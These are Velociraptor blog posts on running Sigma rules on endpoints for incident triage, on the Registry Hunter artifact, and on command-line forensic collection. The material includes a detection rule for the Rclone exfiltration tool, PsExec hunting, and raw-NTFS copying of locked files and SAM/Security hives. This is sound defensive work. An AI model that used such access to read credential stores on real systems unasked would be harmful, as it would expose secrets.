ChainSaw is a repository of Sigma rules with more of a focus on Linux systems.
SigmaHQ is the official rule repository of the Sigma project. These rules are cleaned up, corrected and included into the Hayabusa project rule sets.

Using on-endpoint detection for Incident Response Triage

Traditional SIEM based detection has to balance a number of tradeoffs like volume of logs collected, and number of false positives to reduce SIEM analyst’s churn.

However, Incident Response Triaging has a different set of requirements. Usually the incident responder needs to understand what happened on the system without really knowing what is normal. When evaluating Sigma rules in the incident response context, it is ok to have more false positives in favor of exposing more possibly suspicious activity.

In the following example I collect the Velociraptor Hayabusa Ruleset artifact from the endpoint. The ruleset is extensive and rules are broken down by rule level and rule status. However in this case I want to try out all the rules - including very noisy ones because I want to get an overview of what might have happened on this endpoint.

Collecting the sigma artifact

The Hayabusa ruleset is extensive and might collect many false positives. In this case it took around 6 minutes to apply the rules on all the event log files and returned over 60k hits from about 4200 rules.

Generally it is impractical to review every single hit, so we typically rely on Stacking the results. Within the Velociraptor GUI I will stack by the Rule’s Title by clicking the sort icon at the top of the column

Stacking rules by title

Once the column is sorted, a stacking icon will appear next to it. Clicking on that icon will display the stacking dialog view. This view shows the different unique values of the selected column and the total number of items of that value. In our case it shows the total number of times the specific rule has fired.

Viewing the stacking stats

Clicking the icon in each row seeks the table immediately to view all the rows with the same Title value. In this case I want to quickly view the hits from the Windows Defender Threat Detected rule.

Viewing common rows

Using this technique I can quickly review the most interesting rules and their corresponding hits directly in the GUI without needing to recalculate anything. I can see what type of potentially suspicious activity has taken place on the endpoint and identify outliers quickly - despite the high false positive rate.

Extending the capabilities of Sigma rules

The previous section demonstrated how Sigma can be used for rapid triaging - The workflow is simple and effective, simply match a large number of rules against the on-host event log files to quickly identify and classify suspicious behavior.

This works much better than running the Sigma rules at the SIEM because the SIEM does not receive all the events on the endpoint. Having the ability to view more event sources can improve our detection ability without concern for scalability of the SIEM or increasing the amount of uploaded event traffic between the endpoint and the detection platform.

But can we go further? Why stop at event logs at all? Being on the endpoint directly actually provides access to a whole class of new data sources which are far beyond the simple event logs collected by the system. For example, we can directly examine registry keys, search for and parse files on the endpoint and much more.

Consider the following Velociraptor Sigma rule:

title: Rclone
logsource:
    category: vql
    product: windows

detection:
    selection:
      "EventData|vql":
          x=>x.Files OR x.Registry

    condition: selection

vql: |
  x=>dict(EventData=dict(
    Files={
      SELECT OSPath, Size, read_file(filename=OSPath, length=100) AS Data
      FROM glob(globs=Path, accessor="auto")
    },
    Registry=to_dict(item={
      SELECT Name AS _key, Data.value AS _value
      FROM glob(globs=Key, accessor="registry")
    })))

vql_args:
    Path: C:\Users\*\AppData\Roaming\rclone\rclone.conf
    Key: HKEY_USERS\*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\*rclone*

This rule uses the special logsource of type vql which allows the event to be generated by running arbitrary VQL queries. In this case the query looks at both the presence of a registry key or the presence of a configuration file on the endpoint. If either of these artifacts exist, the rule matches. Note that this rule goes above and beyond event logs to directly look at system configuration.

Velociraptor has traditionally been used to collect forensic artifacts for manual inspection. The ability to write detection rules against forensic artifacts allows us to quickly triage the endpoint without manually reviewing the forensic artifacts.

Forensic artifacts paint the picture of what happened on the endpoint in as much detail as possible.
Sigma rules quickly flag the obvious things on the endpoint which are known to be bad.

Therefore Forensic Sigma rules help to rapidly triage forensic findings, they do not replace those but work in tandem with the collection and analysis of forensic artifacts.

Real Time Sigma alerting

Velociraptor’s VQL language is fully asynchronous and can watch for changes on the endpoint in real time. In Velociraptor’s terminology we can write Event Monitoring Queries.

Rather than parsing event log files as log sources for Sigma rule matching, we can tweak the VQL slightly to feed real time events into the Sigma rule matching. This allows us to apply Sigma rules on log sources in real time - in effect creating real time detection rules.

The Velociraptor Hayabusa Live Detection option in the Curated import artifact will import an event monitoring version of the same curated Sigma rules. I can configure the artifact in the usual way.

Configuring the Monitoring Sigma detection artifact

This time the endpoint will forward detection events to the server in real time.

Live detection of Sigma rules

In the above I can see immediately suspicious use of PSExec in real time!

Conclusions

This blog post explores the discipline of Detection Engineering. Although this is not a new idea - people have been refining and analysing detection rules since intrusion detection systems were invented. By treating detection engineering as an art and a science and dedicating specialist roles to it within an organization, we can encourage and support this important role.

Detection Engineering is about maximizing detection efficacy given the limitations of existing detection systems. We discussed the common event collection feeding into a central SIEM architecture and how to write detection rules for this architecture.

The Sigma rule format was designed to abstract the specifics of the detection stack by presenting an abstract rule language. The hope was that rules can be easily interchanged between different detection stacks and so could be easily shared within the detection community.

However in practice the lack of rigor and well defined taxonomy in Sigma makes porting rules between detection stacks error prone and manual. Detection Engineers need to scrutinize rules to determine if they are likely to work within their own environment. We discuss some of the pitfalls to watch for when scrutinizing Sigma rules. We also discussed how detection engineers can assess if a Sigma rule is fragile and how it can be strengthened by utilizing more detailed log sources.

Next we explored how Sigma rules can be applied on the endpoint itself to access more log sources than are typically shipped to the SIEM. By evaluating the rules directly on the endpoint, it is possible to use Sigma rules for incident response triage purposes. I then demonstrate the process of triage via Sigma rules using Velociraptor’s built in Sigma support and the Hayabusa ruleset by using stacking to rapidly zero in on the suspicious activity.

How can we further improve detection efficacy? Why restrict ourselves to event logs? Velociraptor’s Sigma engine can use arbitrary VQL to generate events from sources like registry keys, paths and many other forensic artifacts. This allows detection rules to have unprecedented reach.

Finally we looked at utilizing Sigma rules with real time event queries allowing Velociraptor to alert in real time when Sigma rules match, instead of having to post process events from the event log file.

If you like to try Sigma in Velociraptor, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

The Registry Hunter

Thu, 11 Apr 2024 23:25:17 +0000

As DFIR practitioners, the Windows registry is a treasure trove of information. The Windows registry stores information about system configuration and therefore we can use it to understand what software was installed, how it was configured and hunt for mis-configuration or deliberate compromises to achieve attacker persistence.

There are many tools out there to extract forensically relevant information from the registry. However, the problem is challenging:

The registry contains thousands of keys and values. While it is possible to manually examine relevant keys and values this is extremely time consuming and error prone.
Some of the values are encoded in non-obvious ways. For example, it is common for registry values to store times encoded as Unix epoch integers, Windows File Time integers or even encoded into binary encoded blobs. Since the registry is really intended for machine consumption it is not always easy to parse human readable information out of the values.
Often relevant information is spread across a number of keys and values. For a human examiner to make sense of the information, the information needs to be collected into a single entity.
Registry information does not have contextually significant explanation about what the values actually mean, and how significant they are in an investigation. Although this is left to the experience of the examiner, it is useful to attach some comments or description to the analysis.

Velociraptor Artifacts

Velociraptor has been used to extract values from the windows registry for a long time. In Velociraptor the registry is accessible via the registry accessor (to access the registry via the APIs) and the raw_reg accessor to parse raw registry hives. See The Registry Accessor to read more about how Velociraptor accesses the registry.

This allows Velociraptor to use simple glob() expressions to find keys and values in the registry. For example in the Windows.Registry.Sysinternals.EulaCheck artifact we can search for evidence of running Sysinternal tools. The following is a simplified query:

SELECT OSPath[-2] as ProgramName,
    lookupSID(sid=OSPath[1]) AS Username,
    OSPath.Dirname as Key,
    Mtime AS TimeAccepted,
    Data.value  AS EulaAccepted
FROM glob(globs='''HKEY_USERS\*\Software\Sysinternals\*\EulaAccepted''',
          accessor='registry')

This artifact works pretty well:

The artifact zeros in on the relevant values in the registry without user intervention - the investigator does not have to know or care where the relevant Sysinternal Eula values are.
The artifact decodes the values to interpret the user action (did the user accept the EULA?) and also maps the SID back to a username.
The artifact contains sufficient human description to elicit action - what does it mean if a user accepted the EULA? Is this fact relevant to the investigation?

While very effective, over time the number of registry artifacts in Velociraptor has grown. From the point of view of the investigator it is becoming more difficult to use:

We need to remember many smaller artifacts that target the registry to collect.
We need to consider the output separately for each artifact.

Some problems with the above approach

You will notice that the above artifact searches the NTUSERS hive. This hive contains each user’s ntuser.dat file which is mounted when the user logs in.

While the artifact works very well for currently logged users, it will be unable to see any users who are currently not logged into the system! This can cause a lot of evidence to be missed.

The problem here is that the registry is composed of different hives and some hives may be mounted at different times. However, when we analyze the registry we often want to access all hives!

When we use the API to access the registry, we could be missing hives that are not currently mounted. Conversely when we use raw registry parsing to only look at hive files we will be missing volatile keys that are not always written to the hives.

In the specific case of Windows.Registry.Sysinternals.EulaCheck the artifact also offers an alternate analysis method which looks at the ntuser.dat files themselves. However this has to be added specifically for each artifact.

What do other tools do?

Investigator focused tools typically attempt to analyze the whole registry. For example, regripper or RECmd/Registry Explorer present a GUI to the registry and simply tag keys and values based on their significance. This is very convenient for the investigator, as they only need to run the analysis once then examine the output manually.

While this is effective for analyzing a small number of machines, it can not be easily scaled to large hunts on thousands of machines where we need a more machine readable output.

The RECmd Batch project is an interesting idea forward. It started off as an automated Batch File to drive RECmd/Registry Explorer analysis by only collecting relevant keys/value and tagging these with category and description labels.

Here is an example RECmd Batch rule corresponding to the above artifact:

    -
        Description: Sysinternals
        HiveType: NTUSER
        Category: Installed Software
        KeyPath: SOFTWARE\Sysinternals\*
        ValueName: EulaAccepted
        Recursive: false
        Comment: |
           Displays all SysInternals Tools that had the EULA accepted,
           indicating either execution of the tool or the Registry values
           were added intentionally prior to execution

This rule attaches a description and category to the EulaAccepted value and also includes how to find it. There is also a useful comment to drive the investigator towards assessing the importance of these findings.

The RECmd Batch format also has some basic registry interpretation built in (such as FILETIME to interpret timestamps), but more complex interpretation is deferred to Registry Plugins which are C# programs specifically designed to interpret more complex keys or values. The use of C# makes writing registry plugins less accessible and more complex.

So what do we actually want?

We wanted to have a single artifact that hunts the entire registry quickly and efficiently:

Combining all the specific registry based artifacts into a single one so investigators don’t have to remember all the different artifacts - a single shot collection should be all that is needed to cover all registry based evidence.
All relevant information should be grouped by Category and Description. The artifact should make it easy to zero in on specific categories depending on the investigator’s needs.
Ideally group together related key/values for quick analysis - this is needed to remove the cognitive load on the investigator in reviewing thousands of related values.
The artifact should be collected in different contexts:
- On a live system using the registry API.
- Offline on a collection of Registry Hive Files
- Automatically take care of subtleties such as NTUser.dat mounts (as described about).

This is what the registry hunter is all about!

The Registry Hunter

The Registry Hunter project is maintained at https://github.com/Velocidex/registry_hunter/ and contains a compiler that combines a set of Rules into a final artifact. This allows users to contribute specific rules targeting specific keys and value in the registry.

Remapping the registry hives

To make it easier to write Registry Hunter rules and also to make it easier to apply those rules in different situations, we want to present a unified view of the registry to rule authors. The rule authors should not need to care about if a registry hive is mounted or available.

In recent versions, Velociraptor implements a powerful mechanism to remap accessors within the name space. You can read about Remapping Accessors to understand how this is done.

The Registry Hunter artifact will map the relevant hives into the registry accessor namespace using a number of different strategies.

The below diagram illustrates how the remapping works with the Raw Hives strategy. In this configuration, the registry accessor is remapped to using all the raw registry hives and does not use the API at all.

Remapping the registry accessor

The rules, however, don’t really need to know about this - they just assume they can access the whole registry using the registry accessor. For example, when a rule accesses the key HKEY_USERS\Administrator\Software, the key will be automatically parsed from the Software hive at C:\Users\Administrator\NTUSER.dat

Depending on the remapping strategy some hives will be directly accessible with the API, or remapped from raw registry hives:

API: This strategy uses the API for most hives, except the HKEY_LOCAL_MACHINE\Security hive which is normally blocked with the API. Additionally, the SAM is mounted under /SAM and Amcache under /Amcache since these are not usually accessible via the API.
- This strategy will not be able to see users who are not logged in, as it does not map the ntuser.dat.
- Using the API is a bit faster than parsing the raw reg hives so this is recommended for frequent parsing or where performance is important.
API And NTUser.dat: This strategy uses the API as above, except it also maps all the user’s ntuser.dat files under the /HKEY_USERS key.
Raw Hives: This strategy does not use the API, and instead maps all raw hives into the same registry accessor namespace.

The default remapping strategy is API And NTUser.dat which is suitable for direct remote collections. If you are collecting this artifact on a dead-disk mount you will need to use the Raw Hives strategy to direct all registry API calls to raw registry parsing.

Importing the latest version of the Registry Hunter artifact

To use the artifact you will need to import it into the server by collecting the Server.Import.RegistryHunter server artifact. This ensures you have the latest version.

Collecting the artifact

When collecting the artifact from a remote system, you will be able to select which rule categories to collect - by default all rules are collected. The default remapping strategy is also selected here.

Hunting the registry

The Rule format

Rules are specified as simple YAML clauses in a rule file. Here is the rule that specifies the SysInternals EULA detection.

- Author: Andrew Rathbun
  Description: Sysinternals
  Category: Installed Software
  Comment: Displays all SysInternals Tools that had the EULA accepted, indicating
    either execution of the tool or the Registry values were added intentionally prior
    to execution
  Glob: '*\SOFTWARE\Sysinternals\*\EulaAccepted'
  Root: HKEY_USERS
  Filter: NOT IsDir
  Details: |
    x=>dict(Program=x.OSPath[-2], FirstRunTimestamp=x.Mtime)

The search glob is split into a glob part and a Root part. The Root refers to the place within the registry namespace where the hive is mapped (more on this below).

The registry hunter will compile this rule into a similar query to

    SELECT Rule.Description AS Description,
           Rule.Category AS Category,
           OSPath, Mtime,
           eval(func=Metadata.Details) AS Details
    FROM glob(globs=Rule.Glob, root=Rule.Root, accessor="registry")
    WHERE eval(func=Rule.Filter)

This rule will search the provided glob expression on the provided root directory looking for values (the filter x=>NOT IsDir captures values and rejects keys).

Matching values will cause the Details function to be evaluated. The Details field contains a VQL lambda function that will be evaluated on the found keys or values. The following values will be available:

x.OSPath contains the OSPath of the matching registry key or value
x.Mtime contains the Modification time of the key

The above example returns a dictionary documenting the program and the modification time.

Sysinternal hunt output

A more complex rule is the following which assembles the Most Recently Used values in the Run Box:

- Author: Andrew Rathbun
  Description: "RunMRU: Tracks commands from the Run box in the Start menu"
  Category: Program Execution
  Root: HKEY_USERS
  Glob: '*\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'
  Filter: x=>IsDir
  Preamble:
  - |
    LET CalculateMRU(OSPath) = SELECT GetValue(OSPath=OSPath + g1) AS value
        FROM parse_records_with_regex(accessor="data",
        file=GetValue(OSPath=OSPath + "MRUList"), regex="(.)")

  - |
    LET FetchKeyValues(OSPath) = to_dict(item={
      SELECT Name AS _key, Data.value AS _value
      FROM glob(globs="*", accessor="registry", root=OSPath)
    })

  Details: |
    x=>dict(MRU=CalculateMRU(OSPath=x.OSPath).value,
            All=FetchKeyValues(OSPath=x.OSPath))

Calculating the MRU order

The similar RECmd Batch rule actually relies on custom C# code to reassemble the MRU lists. This is problematic in practice because we would need to rebuild and redeploy compiled code to the endpoint. Instead it is much more efficient to implement the reassembly algorithm in VQL and include it directly in this rule.

The Registry Hunter does rely on specialized processing or specific registry plugins and simply implements all the complex parsing directly in VQL - allowing us to upgrade the parsers on demand without needing to recompile any code.

Notice how the Details lambda rule is able to reference helper functions defined in the Preamble section. This allows us to create reusable VQL functions that can be used from many rules.

You can see many helpful VQL functions defined in the preamble of the common rule sets.

Presenting the results of the analysis

The Registry Hunter is designed to be a one shot, collect everything type of artifact. This allows investigators to simply use it in all cases and just view relevant results depending on their needs.

To facilitate this use, the artifact creates a custom notebook breaking the results by category. The user can then begin examining the hits for each category that is relevant to the case.

Initial notebook

For example, suppose I was interested in anything that was related to PsExec, I would write a notebook query of the form:

SELECT Description, Category, OSPath AS Key, Mtime, Details FROM source()
WHERE Details =~ "psexec"

Isolating all psexec information

This query will show all information that is vaguely related to PsExec, we see a number of corroborating evidence from the different Rules:

Userassist, AppCompatCache and Sysinternals rule all match
We can see when the program was initially installed, last used and other interesting information.
Note that here we collect multiple related results from multiple categories.

Conclusions

The Registry Hunter is an unified artifact that compiles separate rules hunting in the registry into a single, easy to collect and very fast artifact. Long term we aim to consolidate all the discrete registry based artifacts into this one artifact.

We would really love to hear feedback or see contributions to the Registry Hunter through our GitHub repository https://github.com/Velocidex/registry_hunter/ and issue board. But you can start using it right now if you would love to test it.

The Registry Hunter uses newer VQL features available since release 0.72 and so will only work on clients newer than that version.

Velociraptor CLI

Sat, 21 Mar 2026 00:00:00 +0000

Digital forensics has always been a fast evolving field with newly researched techniques announced frequently. Many single purpose DFIR tools are published as a proof of concept or to parse specific file formats.

Velociraptor’s goal has always been to be the one stop shop for all DFIR analysis and collection. Velociraptor has powerful capabilities and is able to forensically parse and analyze many forensic artifacts. Velociraptor can do this in a distributed way making it easier to hunt across a large number of endpoints securely and efficiently.

However, Velociraptor’s powerful VQL language can seem overwhelming for casual use. For many users a simple one purpose tool is preferable to a large more complete framework like Velociraptor, because it is perceived to be easier to use.

This concern may be keeping many users from fully exploring Velociraptor’s capabilities - it just might seem like an overkill to install a Velociraptor client and server and learn new concepts like VQL, Artifacts, analysis notebooks etc. It is sometimes just easier to run a single use tool (for example AmCacheParser.exe from the EZ Tools suite and produce a CSV file that can be examined in a familiar tool like Excel quickly).

What few people realize, however, is that Velociraptor is also capable of single tool use! It is actually very simple to use it in this way and it provides a set of powerful parsers and tools already built into a single binary that can be launched from the command line - with no need to install any other dependencies!

Additionally, Velociraptor’s parsers are actively maintained and used by a large community, solving the issue of some single use Ad-Hoc tools becoming unmaintained over time.

This blog post specifically focuses on using Velociraptor’s extensive Command Line Interface mode as a single use tool. This allows users to replace a large number of scripts, and adhoc tools with varying levels of maintainance and different installation dependencies, with a single well maintained and dependable solution.

Velociraptor - The DFIR Swiss Army

Let’s suppose I am investigating a live Windows 11 System and I wanted to copy out the SRUDB.dat file so I can analyze the SRUM database:

C:\Windows\System32>copy c:\Windows\system32\sru\SRUDB.dat c:\output
The process cannot access the file because it is being used by another process.
        0 file(s) copied.

This is a pretty common issue - Since the file is in use right now, this file is locked and can not be copied by the usual means. This issue affects many important files like NTUSER.DAT and the registry hives.

Some SRUM analysis scripts use Volume Shadow Copies to access this locked file, but this is problematic as it can trigger endpoint security software alerts or even also be blocked.

Other options include RawCopy but this is a binary only, closed source program.

Velociraptor can fall back to raw NTFS parsing when it can not access a file. This does not trigger a new Volume Shadow Copy or require any additional binaries. We can use the fs cp command with the --accessor flag to have Velociraptor copy the file transparently, bypassing local file locks.

C:\Windows\System32>c:\velociraptor.exe fs cp c:\Windows\system32\sru\SRUDB.dat c:\output --accessor auto

{"Name":"SRUDB.dat","Size":9568256,"Mode":"-rw-rw-rw-","Mtime":"2026-03-23T05:18:02.2159378Z","Data":{},"Upload":{"Path":"\\\\?\\c:\\output\\SRUDB.dat","Size":9474048,"UploadId":0,"sha256":"33a1c63b6cb863acf7c79e5d7881d09d7834052250502c05145fb95555495b69","md5":"15491bbc80d63d751c8bcb0114458bce","Components":["SRUDB.dat"]}}

Parsing the evidence

Copying files off the target system is all very well, but ultimately we need to parse and analyze those files to get an insight of what happened. Many DFIR tools, scripts and adhoc programs are available to parse forensically relevant files. These tools have varied installation dependencies and are often out of date and poorly maintained.

In this case, the SRUDB.dat file is actually a Microsoft JET database (Also known as ESE) so we need a tool to view it. A common GUI tool to view ESE files is EseDatabaseView which can dump out all the tables. However for SRUM analysis we typically need further parsing of the specific tables.

One such parser is the SrumECMD. This parser uses the Microsoft JET library to access the file, so it needs to run on Windows, making it inconvenient to use. Additionally the files need to be “repaired” to be opened by the JET library.

Velociraptor parses files using Artifacts. You can think of artifacts as simply VQL mini-programs. You do not need to understand VQL to use Artifacts.

Velociraptor allows artifacts to be run on the command line, just like mini programs. You can search for the artifacts you need on the Artifacts Search Page to find the Windows.Forensics.SRUM artifact is the one used to parse SRUM files. This artifact uses Velociraptor’s native ESE parser which does not need any external libraries, or to “repair” the files. In combination with the transparent NTFS access, the artifact simply parses the existing file bypassing file locks transparently.

Velociraptor’s artifacts produce structured output as JSON,CSV and uploaded files. Usually we store all related files collected by an artifact in a single ZIP file. Artifacts also accept parameters to control the way they work.

Running an artifact on the command line is done using the -r flag (also called --run). We can see what parameters the Windows.Forensics.SRUM artifact will accept using the -h flag:

> c:\velociraptor.exe -r Windows.Forensics.SRUM -h
...
Artifact Parameters:
 --SRUMLocation
   default: 'c:/windows/system32/sru/srudb.dat'
...
 --Upload [bool]
   Select to Upload the SRUM database file 'srudb.dat'

    Valid values: Y / N

The artifact’s defaults are already set to the usual location of the srudb.dat file but we can override it if needed (for example to parse the file we copied earlier). We can also tell the artifact to upload (capture) the raw file as well. Let’s collect this artifact and also get a copy of the raw SRUDB.DAT file:

C:\Windows\System32>c:\velociraptor.exe -v -r Windows.Forensics.SRUM --Upload Y -o c:\output\test.zip --format csv
[INFO] 2026-03-22T23:17:02-07:00  _    __     __           _                  __
[INFO] 2026-03-22T23:17:02-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____
[INFO] 2026-03-22T23:17:02-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/
[INFO] 2026-03-22T23:17:02-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /
[INFO] 2026-03-22T23:17:02-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/
[INFO] 2026-03-22T23:17:02-07:00                                   /_/
[INFO] 2026-03-22T23:17:02-07:00 Digging deeper!                  https://www.velocidex.com
[INFO] 2026-03-22T23:17:02-07:00 This is Velociraptor 0.76.1 built on 2026-03-23T15:50:34+10:00 (ac68ce121)
[INFO] 2026-03-22T23:17:02-07:00 Env var VELOCIRAPTOR_API_CONFIG is not set
....
[INFO] 2026-03-22T23:17:03-07:00 Container hash 8c58132d5718a160c0ae786113580b8273b58a5bd584a4ff3f2f07f681b89305
[
 {
   "Container": "c:\\output\\test.zip",
   "Error": null
 }
][INFO] 2026-03-22T23:17:03-07:00 Collection completed in 551.0932ms Seconds

Using the -v flag shows useful progress and debugging messages, but finally Velociraptor will store the ZIP file containing all the data. Adding the --format csv flag will also include the structured data in CSV format (so it can be analyzed with Excel).

You can specify a collection password with the --password flag to ensure the output zip is encrypted. This is useful in cases you need to protect the sensitive data collected while transferring the ZIP file off the system.

Examining the collection

Velociraptor exports collections into a standardized ZIP based file. The file includes JSON and CSV formatted structured data, as well as any bulk files collected.

We can examine the content of the collection using any ZIP program, but Velociraptor already comes with a zip program built in:

C:\Windows\System32>c:\velociraptor.exe unzip -l c:\output\test.zip
[
 {
   "Filename": "/uploads/auto/c%3A/windows/system32/sru/srudb.dat",
   "Size": 9568256
 },
 {
   "Filename": "/results/Windows.Forensics.SRUM%2FApplication Resource Usage.csv",
   "Size": 147401
 },
 {
   "Filename": "/results/Windows.Forensics.SRUM%2FApplication Resource Usage.json",
   "Size": 505150
 },
 ...
 {
   "Filename": "/results/Windows.Forensics.SRUM%2FExecution Stats.csv",
   "Size": 123137
 },
 {
   "Filename": "/results/Windows.Forensics.SRUM%2FExecution Stats.json",
   "Size": 192357
 },
 ...

We can see that the ZIP file contains the raw srudb.dat file (uploaded under the upload directory) as well as results collected under the results directory.

To just extract all the files from the zip file you can use the unzip command:

velociraptor  unzip c:\output\test.zip --dump_dir c:\out_dir\

To only extract some of the data you can use a glob expression to specify a subset of files

velociraptor unzip c:\output\test.zip --dump_dir c:\out_dir\ "/results/*.json"

Extending Velociraptor with custom artifacts

While Velociraptor comes with many artifacts built in, the true power of VQL is that it enables the community to write custom artifacts to parse new file formats or improve on the built in artifacts. This allows contributions of cutting edge analysis techniques or streamlining artifacts to particular work flows.

Velociraptor comes with a pre-selection of external artifact sources, such as the Artifact Exchange. You can import these artifacts to a Velociraptor server using the Server.Import.Extras server artifact.

You can also just use these artifacts manually on the command line. For example, suppose I wanted to use the Windows.Triage.Targets artifact to perform a triage acquisition.

The Velociraptor Triage Project is a related project to develop an effective triage acquisition and preservation solution using VQL.

Files are collected based on Targets which are heirarchical. Some high level targets include _KapeTriage or _Live which collect a large number of files for preservation purposes.

Since this artifact is not built in, I will need to download the Artifact Pack (You can find the link to the pack from https://triage.velocidex.com/). The artifact pack is simply a ZIP file with yaml artifacts in it.

To collect a high level target and store the resulting collection in a zip file I can use the following command line:

velociraptor.exe -v --definitions c:\Windows.Triage.Targets.zip
  -r Windows.Triage.Targets
  --HighLevelTargets _KapeTriage,_Live
  -o c:\output\test.zip

The -v flag emits progress messages in verbose mode (This is recommended for interactive use).
The --definitions flag loads the custom artifacts directly from the artifact pack.
The -r flag says to run the artifact Windows.Triage.Targets
The --HighLevelTargets flag is a parameter for the Windows.Triage.Targets artifact will collect the high level _KapeTriage target as well as the _Live target.
Finally the output zip will be stored in c:\output\test.zip

You can maintain your own ZIP file with your favorite artifacts for your own use to suite your own workflows.

Using external tools on the CLI

So far we have seen how to use Velociraptor’s built in capabilities on the command line, but sometimes other tools may provide some capabilities which are still missing from Velociraptor.

Usually this is not a problem since Velociraptor allows us to incorporate third party tools via its External Tools support.

External tools are declared in the artifact definition and the VQL is written to launch the tool, and parse its output into the same machine readable format as native artifacts.

In the following example I will use the Windows.EventLogs.Hayabusa artifact to run an initial triage over the system. This artifact runs an external tool Hayabusa to do the analysis. You can find this artifact in the Artifact Exchange so I will use that artifact pack to load it.

C:\Windows\System32>f:\velociraptor.exe -v --definitions c:\Users\test\Downloads\artifact_exchange_v2.zip -r Windows.EventLogs.Hayabusa -o c:\output\test.zip

[INFO] 2026-03-23T18:22:52-07:00  _    __     __           _                  __
[INFO] 2026-03-23T18:22:52-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____
[INFO] 2026-03-23T18:22:52-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/
[INFO] 2026-03-23T18:22:52-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /
[INFO] 2026-03-23T18:22:52-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/
[INFO] 2026-03-23T18:22:52-07:00                                   /_/
[INFO] 2026-03-23T18:22:52-07:00 Digging deeper!                  https://www.velocidex.com
[INFO] 2026-03-23T18:22:52-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)
[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_API_CONFIG is not set
[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_CONFIG is not set
[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_LITERAL_CONFIG is not set
[INFO] 2026-03-23T18:22:52-07:00 Setting empty config
...
[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/Windows.Forensics.PersistenceSniper.yaml
[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/Linux.Sysinternals.SysmonEvent.yaml
[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/MacOS.Applications.Safari.History.yaml
....
[INFO] 2026-03-23T18:22:52-07:00 Setting compression level to 5
[INFO] 2026-03-23T18:22:52-07:00 Will create container at c:\output\test.zip
[INFO] 2026-03-23T18:22:52-07:00 Creating tempfile C:\Users\test\AppData\Local\Temp\tmp1257539671..zip
[INFO] 2026-03-23T18:22:52-07:00 Downloading tool Hayabusa-3.8.1 FROM https://github.com/Yamato-Security/hayabusa/releases/download/v3.8.1/hayabusa-3.8.1-win-x64-live-response.zip
[INFO] 2026-03-23T18:22:53-07:00 tempdir: Adding global destructor for C:\Users\test\AppData\Local\Temp\tmp1843750255
[INFO] 2026-03-23T18:22:53-07:00 Local hash of C:\Users\test\AppData\Local\Temp\tmp1257539671..zip: 51ef2aff99bb3ed4e5ebe5b07053c62719263ca7a49223bb0e0bb8785eb479a0, expected 51ef2aff99bb3ed4e5ebe5b07053c62719263ca7a49223bb0e0bb8785eb479a0
[INFO] 2026-03-23T18:22:54-07:00 execve: Running external command [C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa-3.8.1-win-x64.exe update-rules]
[INFO] 2026-03-23T18:22:55-07:00 execve: Running external command [C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa-3.8.1-win-x64.exe csv-timeline --no-wizard --quiet --no-summary --directory C:/Windows/System32/winevt/Logs --output C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa_results.csv --min-level medium --profile standard --ISO-8601 --threads 4]
[INFO] 2026-03-23T18:22:55-07:00 Start time: 2026/03/23 18:22
[INFO] 2026-03-23T18:22:55-07:00 Total event log files: 371
[INFO] 2026-03-23T18:22:55-07:00 Total file size: 187.2 MiB
....
[INFO] 2026-03-23T18:23:31-07:00 Please submit new Sigma rules with pull requests to: https://github.com/SigmaHQ/sigma/pulls
[INFO] 2026-03-23T18:23:31-07:00
[INFO] 2026-03-23T18:23:31-07:00 Starting collection of Windows.EventLogs.Hayabusa/Upload
[INFO] 2026-03-23T18:23:31-07:00 Collecting file C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa_results.csv into /uploads/auto/hayabusa_results.csv (20775842 bytes)
[INFO] 2026-03-23T18:23:41-07:00 Collected 1 rows for Windows.EventLogs.Hayabusa/Upload
[INFO] 2026-03-23T18:23:41-07:00 Starting collection of Windows.EventLogs.Hayabusa/Results
[INFO] 2026-03-23T18:23:43-07:00 Collected 38791 rows for Windows.EventLogs.Hayabusa/Results
[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removing tempdir C:\Users\test\AppData\Local\Temp\tmp1431191296
[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removed tempdir C:\Users\test\AppData\Local\Temp\tmp1431191296
[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removing tempdir C:\Users\test\AppData\Local\Temp\tmp1843750255
[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removed tempdir C:\Users\test\AppData\Local\Temp\tmp1843750255
[DEBUG] 2026-03-23T18:23:43-07:00 Query Stats: {"RowsScanned":116412,"PluginsCalled":12,"FunctionsCalled":77652,"ProtocolSearch":35,"ScopeCopy":271656}
[INFO] 2026-03-23T18:23:43-07:00 Container hash e843a8391e648be3df54c7440a8d6a4d4ee317ad1a8d3e716229811a8237c27f
[
 {
   "Container": "c:\\output\\test.zip",
   "Error": null
 }
][INFO] 2026-03-23T18:23:43-07:00 Collection completed in 50.5909007s Seconds

The above output shows the steps that Velociraptor goes through:

Importing the custom artifacts from the Artifact Exchange pack.
Downloading the Hayabusa tool into a temp file
Perform an integrity check against the hash specified in the artifact.
